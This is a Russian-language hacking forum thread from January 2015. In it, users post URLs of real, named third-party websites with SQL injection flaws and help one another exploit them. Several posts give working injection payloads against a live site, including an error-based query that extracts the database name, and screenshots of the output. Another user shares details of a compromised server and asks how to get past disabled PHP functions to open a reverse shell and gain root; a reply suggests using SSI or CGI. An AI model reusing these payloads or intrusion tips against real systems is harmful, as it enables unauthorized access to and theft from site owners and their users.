11.01.2015, 17:05
|
|
Новичок
Регистрация: 21.06.2005
Сообщений: 1
С нами:
10992741
Репутация:
0
|
|
Сообщение от Br@!ns
Есть ли тут sql?
на кавычку реагирует, но ничего дальше сделать не выходит
Не одними кавычками.
Нет, параметр вообще не динамический.
|
|
|
11.01.2015, 18:09
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами:
9650336
Репутация:
662
|
|
кто дотянет?)
http://www.worldwaterforum6.org/en/library/?no_cache=1&x_amswwfbd_pi1_list[evenements][564][uid]=564&tx_amswwfbd_pi1_list[evenements]=1
еррор басе в 1
|
|
|
|
12.01.2015, 16:35
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
Сообщение от DezMond™
кто дотянет?)
http://www.worldwaterforum6.org/en/library/?no_cache=1&x_amswwfbd_pi1_list[evenements][564][uid]=564&tx_amswwfbd_pi1_list[evenements]=1
еррор басе в 1
SQLi в string плюс mq = on. поищите в другом месте
|
|
|
|
12.01.2015, 23:01
|
|
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
С нами:
9650336
Репутация:
662
|
|
Сообщение от faza02
SQLi в string плюс mq = on. поищите в другом месте
раскрутил сам) решил не удалял, чтоб потренились)
и чтот-то в string?)
|
|
|
|
13.01.2015, 02:32
|
|
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
С нами:
8258006
Репутация:
25
|
|
Сообщение от None
https://store.tonibrattin.com/list.php?catid=7'&secid=&keyword=67&sort=ItemPrice '
Можно что нибудь сделать?
|
|
|
|
13.01.2015, 17:11
|
|
Познающий
Регистрация: 16.08.2012
Сообщений: 92
С нами:
7231286
Репутация:
0
|
|
Код:
http://le-studio.ch/photographers/index.php?aid=22'
помогите раскрутить |
|
|
|
13.01.2015, 17:54
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Сообщение от vikler
Код:
http://le-studio.ch/photographers/index.php?aid=22'
помогите раскрутить
Сообщение от None
?aid=(22)and(1>1)--
Кто первым добивается вывода, получает ' +'.
|
|
|
|
13.01.2015, 21:04
|
|
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
С нами:
8258006
Репутация:
25
|
|
Сообщение от YaBtr
Кто первым добивается вывода, получает '
+
'.
Сообщение от None
http://le-studio.ch/photographers/index.php?aid=22/**/group/**/by/**/elt(rand(0),database())having/**/sum(0)
http://clip2net.com/s/3ao8WVf
http://clip2net.com/s/3ao93wA
|
|
|
|
15.01.2015, 05:37
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами:
9100556
Репутация:
912
|
|
uname -a
Код:
Linux x.com 2.6.18-308.el5.028stab099.3 #1 SMP Wed Mar 7 15:56:00 MSK 2012 x86_64
хочу порутать, но проблема в том, что не могу сделать бэк-коннект из-за отключенных системных функций
Код:
Disabled PHP Functions: dl , exec , passthru , pcntl_exec , pfsockopen , popen , posix_kill , posix_mkfifo , posix_setuid , proc_close , proc_open , proc_terminate , shell_exec , system , leak , posix_setpgid , posix_setsid , proc_get_status , proc_nice , show_source , escapeshellcmd
php 5.3.3
подскажите как можно это обойти и сделать бэк-коннект или хотя бы бинд порта. |
|
|
|
15.01.2015, 11:45
|
|
Постоянный
Регистрация: 30.05.2012
Сообщений: 600
С нами:
7343606
Репутация:
652
|
|
Сообщение от .:[melkiy
:."]
.:[melkiy]:. said:
uname -a
Код:
Linux x.com 2.6.18-308.el5.028stab099.3 #1 SMP Wed Mar 7 15:56:00 MSK 2012 x86_64
хочу порутать, но проблема в том, что не могу сделать бэк-коннект из-за отключенных системных функций
Код:
Disabled PHP Functions: dl , exec , passthru , pcntl_exec , pfsockopen , popen , posix_kill , posix_mkfifo , posix_setuid , proc_close , proc_open , proc_terminate , shell_exec , system , leak , posix_setpgid , posix_setsid , proc_get_status , proc_nice , show_source , escapeshellcmd
php 5.3.3
подскажите как можно это обойти и сделать бэк-коннект или хотя бы бинд порта. Если апач+allowoverride включен, то можно попробовать ssi или cgi.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для .:[melkiy]:.](/avatars/avatar74910.jpg?3809372){kind=avatar}
Похожие темы
Комбинированный вид
